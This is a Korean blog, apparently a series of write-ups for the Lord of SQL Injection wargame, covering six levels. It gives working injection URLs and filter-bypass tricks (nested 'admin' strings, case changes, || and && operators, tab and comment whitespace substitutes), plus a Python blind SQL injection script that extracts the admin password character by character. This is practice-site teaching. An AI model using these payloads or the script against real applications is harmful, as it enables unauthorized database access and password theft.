조금 느슨해진 풀이가 되었다고 생각할 수 있지만, 쉽게 쉽게 문제를 해결할 수 있다는 것을 문제의 질을 탓하지는 말자. RPG로 보아서 여러분들의 실력이 올라간 반증이다. 이번 시간에는 이미 false값을 검사하는 상황인 Skeleton문제를 보자

<출처 : 아마존 https://www.amazon.com/Learning-Resources-Skeleton-Floor-Puzzle/dp/B0008JIL90>


코드 

특별한점으로는 마지막에 AND1=0가 있어서 쿼리의 앞 조건에 무엇이 들어가던 0개의 레코드가 검사가 된다는 점이다.


해결방법

Answer Url : los.rubiya.kr/chall/XXXX.php?pw=1%27%20or%20id=%27admin%27%20or%20id=%27reducto

 

* DATABASE의 연산자는 AND가 OR보다 높다 *

아시다시피 DATABASE에도 연산자 우선순위라는 것이 있다.

 

일반적인 상황에서 AND는 OR에 우선되게 실행되는데, 이를 이용해서 (guest를 가져오는 false결과 or admin을 가져오는 true결과 or 무작위id를 가져오는 false결과) 조건을 적용한다.


이로써 10마리의 몬스터를 무찔렀다. 다음은 다시 Blind SQL Injection으로 무찔러야하는 몬스터를 만나보겠다.

여담인데, 난 뱀파이어에 대한 동경심이 있다. 여타 괴물들과는 다르게 세련되어 보이고, 격식이 있어 보인다. 담생에 태어나면 뱀파이어도 괜찮을 거 같다... 새벽이 되니까 별소리가 다 나온다. 우선 코드를 만나보자

<출처 : 쿠키런 팬덤 위키 https://cookierun.fandom.com/ko/wiki/%EB%B1%80%ED%8C%8C%EC%9D%B4%EC%96%B4%EB%A7%9B_%EC%BF%A0%ED%82%A4_(%EC%98%A4%EB%B8%90%EB%B8%8C%EB%A0%88%EC%9D%B4%ED%81%AC) >


코드

일단 중간 코드가 재미있는게 보인다.

$_GET[id] = strtolower($_GET[id]);
$_GET[id] = str_replace("admin","",$_GET[id]); 

이에 따라 GET메소드로 전달된 파라미터 id의 admin은 ""로 변경될 것이다. 의외로 간단한 해결책이 존재할지도?

 


해결방법

Answer url : los.rubiya.kr/chall/XXXX.php?id=adadminmin

그렇다... admin이 공백으로 치환되는 거면 adadminmin으로 전달하면 된다.(str_replace()는 반환 값을 재귀적으로 다시 처리하지 않는다. 당연한 이야기이다.)


이렇게 SQL 던전에 들어와서 9마리의 몬스터를 무찔렀다. 다음은 조금 딱딱한 친구를 만나보자

이번 포스팅은 preg_match에 일부 특성을 배우는 시간이 될 것이다. 트롤을 만나보도록 하자

<출처 : 위키백과 https://ko.wikipedia.org/wiki/%ED%8A%B8%EB%A1%A4 >


코드

특별하게 보이는 점으로 admin이라는 문자열이 필터링되기 때문에  admin을 쓸 순 없을 거 같다.


해결방법

Answer Url : los.rubiya.kr/chall/XXXX.php?id=Admin

 

어이없어 보여도, 중요한 내용을 담고 있다. 위 php에서 필터 우회로 사용되는 preg_match는 /i옵션이 없으면 대소자를 구별하지 않는다. 따라서 두 번째 preg_match인 /admin/은 Admin이나 ADMIN으로 실행을 안 시킬 수 있다. 또한 DB가 대소자를 구분하지 않으니 금상첨화이다.


이렇게 트롤을 해치운 우리의 다음 목적지는 이름도 무서운 흡혈귀를 만나러 갈 것이다. 이번 문제가 쉬웠다고 생각해도 안일함을 가지지 않길 바란다. 의외로 DB나 코드의 특성을 알아야만 풀 수 있는 문제이다.(필자가 이걸몰라서 엄청 헤매었었다.)

다음 만나볼 몬스터는 오우거이다.(이 홈페이지는 둔한 몬스터들에게 Blind SQL Injection문제를 배정한 느낌이 든다.)

<출처 : 위키백과 https://ko.wikipedia.org/wiki/%EC%98%A4%EA%B1%B0>

* 주의 반드시 지난 orc시간에 Blind SQL Injection를 이해하고 와야 한다! *

* 이 문제의 해결을 위한 Blind SQL Injection은 Python으로 작성되었다. "

2021.04.13 - [정보보안-실습/SQL Injection] - [LOSI] Lord of SQL Injection Level 4 - Orc

 

[LOSI] Lord of SQL Injection Level 4 - Orc

무서운 몬스터가 우리 앞을 막아섰다. 오크라고 불리는 이 몬스터는.... 심각하게 뚱뚱한 이 몬스터를 쉽게 이길수 없다는 생각이 든다. 일단 코드를 확인하자. * 주의 : 이번 포스팅은 Python을 기

tutoreducto.tistory.com


코드

DarkElf시간에 만났던 논리연산자의 우회가 섞인 Blind SQL Injection이다.

구조 자체가 Orc와 흡사하기에 바로 정답을 확인하자.


해결방법

Answer url : los.rubiya.kr/chall/XXXX.php?pw=7b751aec
import string
from requests import get

if __name__=="__main__" :
    
    url = ## orge 문제의 url ##
    length = 0
    cookie = dict(PHPSESSID="## 자신의 PHPSESSID ##")
    letters = string.digits + string.ascii_letters
    password = ''

    print("### find for passsword length ###")

    while(True):
        param = "?pw=1%27%20||%20id=%27admin%27%20%26%26%20length(pw)="+str(length)+"--%20;"
        new_url = url+param
        rec = get(new_url,cookies=cookie)

        if(rec.text.find("Hello admin")>=0) :
            print("find password length : "+str(length))
            break

        print(str(length)+" is wrong length")
        length+=1


    print("### find for real password ##")
    for i in range(1,length+1) :
        for a in letters :
            param = "?pw=1%27%20%7C%7C%20id=%27admin%27%20%26%26%20ascii(substr(pw,"+str(i)+",1))="+str(ord(a))+"--%20;"
            new_url =  url+param
            rec=get(new_url,cookies=cookie)

            if(rec.text.find("Hello admin")>=0) :
                print("find password for location "+str(i)+" is : "+a)
                password += a
                break


    print("the answer : "+password)

        

 

pw의 길이, 실제 pw를 알아내었으며, or대신 파이프(||)를 사용했다.
Orc와 동일하기에 자세한 설명은 생략한다. 코드의 실행결과는 다음과 같다.

### find for passsword length###
0 is wrong length
1 is wrong length
2 is wrong length
3 is wrong length
4 is wrong length
5 is wrong length
6 is wrong length
7 is wrong length
find password length : 8


###find for real password###
find password for location 1 is : 7
find password for location 2 is : b
find password for location 3 is : 7
find password for location 4 is : 5
find password for location 5 is : 1
find password for location 6 is : a
find password for location 7 is : e
find password for location 8 is : c
the answer : 7b751aec


어렵지 않게 ORGE를 물리칠 수 있었다. 필자는 다음 관문에서 여러분들을 기다리겠다.

지난 시간 우리는 공백을 우회하는 방법을 알아보았다. 이번에 만나볼 몬스터는 DarkElf로(헤으응 나 죽어), 이 몬스터는 논리 연산자를 필터링한다.

<출처 : 아마존 https://www.amazon.com/Max-Factory-Lineage-II-Figure/dp/B00CRSF4QS >


코드

필터링되는 글자중 or, and와 같은 그간 우리가 써오던 논리 연산자들이 있다. 보통 다음의 해답으로 떠올렸을 것이다.

Answer Url? : los.rubiya.kr/chall/XXXX.php?pw=1%27%20or%20id=%27admin%27--%20;

자축하자 우린 걸러졌다.


해결방법

Answer Url : los.rubiya.kr/chall/XXXX.php?pw=1%27%20%7C%7C%20id=%27admin%27--%20;

프로그래밍 언어를 공부한 사람은 알겠지만 문법적으로 or와 and를 의미하는 기호가 있다. 바로 파이프(||)와 앤드(&&)이다. DB 또한 이 연산자들을 논리 연산자로 받아들이기에 이 연산자를 url encode 해서 요청하면 해결할 수 있다.

1. & : AND기호, urlencode %26 값을 가진다.
2. | : OR기호, url encode % 7C값을 가진다.


이렇게 저번시간 Wolfman과 이번 시간 Darkelf를 상대하며 우회 기법 중 몇 가지를 알아보았다. 다음 만남 볼 몬스터는 우리의 비장의 무기인 Blind SQL Injection이 필요하다. 저번에 내용을 충분히 숙지한 사람은 가벼운 마음으로 다음 관문에서 만나도록 하자

어찌 보면 쉬어가는 시간이 될 거 같다. 저번 시간 Blind SQL Injection을 배웠으니, 이번 시간에는 공백을 우회하는 DB 테크닉을 조금 배워보자

<출처 : 위키백과 https://en.wikipedia.org/wiki/The_Wolf_Man_(1941_film) >


코드

눈에 띄는 금지어로 space(공백)이 있다. DB나 코드나 공백은 문법적으로 상당히 중요한 의미를 가진다.

기존대로 문제를 풀었다면 아마 다음과 같은 답이 바로 떠오를 것이다.

Answer url? : los.rubiya.kr/chall/XXXX.php?pw=1%27%20id=admin--%20;

 

아쉽지만 이번에 공백(space, %20) 불가하기에 다음의 필터링 화면을 만나볼 수 있다.

 

우리는 공백을 대체할 무엇인가가 필요하다

 


해결방법

Answer Url : los.rubiya.kr/chall/XXXX.php?pw=1%27%09or%09id=%27admin%27--%09;

 

당연한 이야기이지만, Databse에서 공백으로 여겨지는 다음과 같은 문자들이 있다. 이를 활용하여 공백을 우회한다.

1. %09 : TAB
2. %0A : new Line(\n)
3. %0D : Carrage Return(\r)
4. 강제주석 : /**/ (ex : id='admin' and pw='1' >> id='admin'/**/and/**/pw='1')
5. 괄호 : (), (ex : id='admin' and pw='1' >> id=('admin') and(pw='1'))
6. 더하기 : +, (ex : id='admin' and pw='1' >> id='admin'+and+pw='1')

* 이외에도 %0B, % 0C 또한 공백 우회 기법으로 사용된다.

 


이제 우리는 SQL Injection시 공백을 우회하는 기법을 알아내었다. 다음 만날 몬스터도 우회 기법 테크닉의 한 종류로 물리칠 수 있다. 다음 관문에서 기다리겠다.

+ Recent posts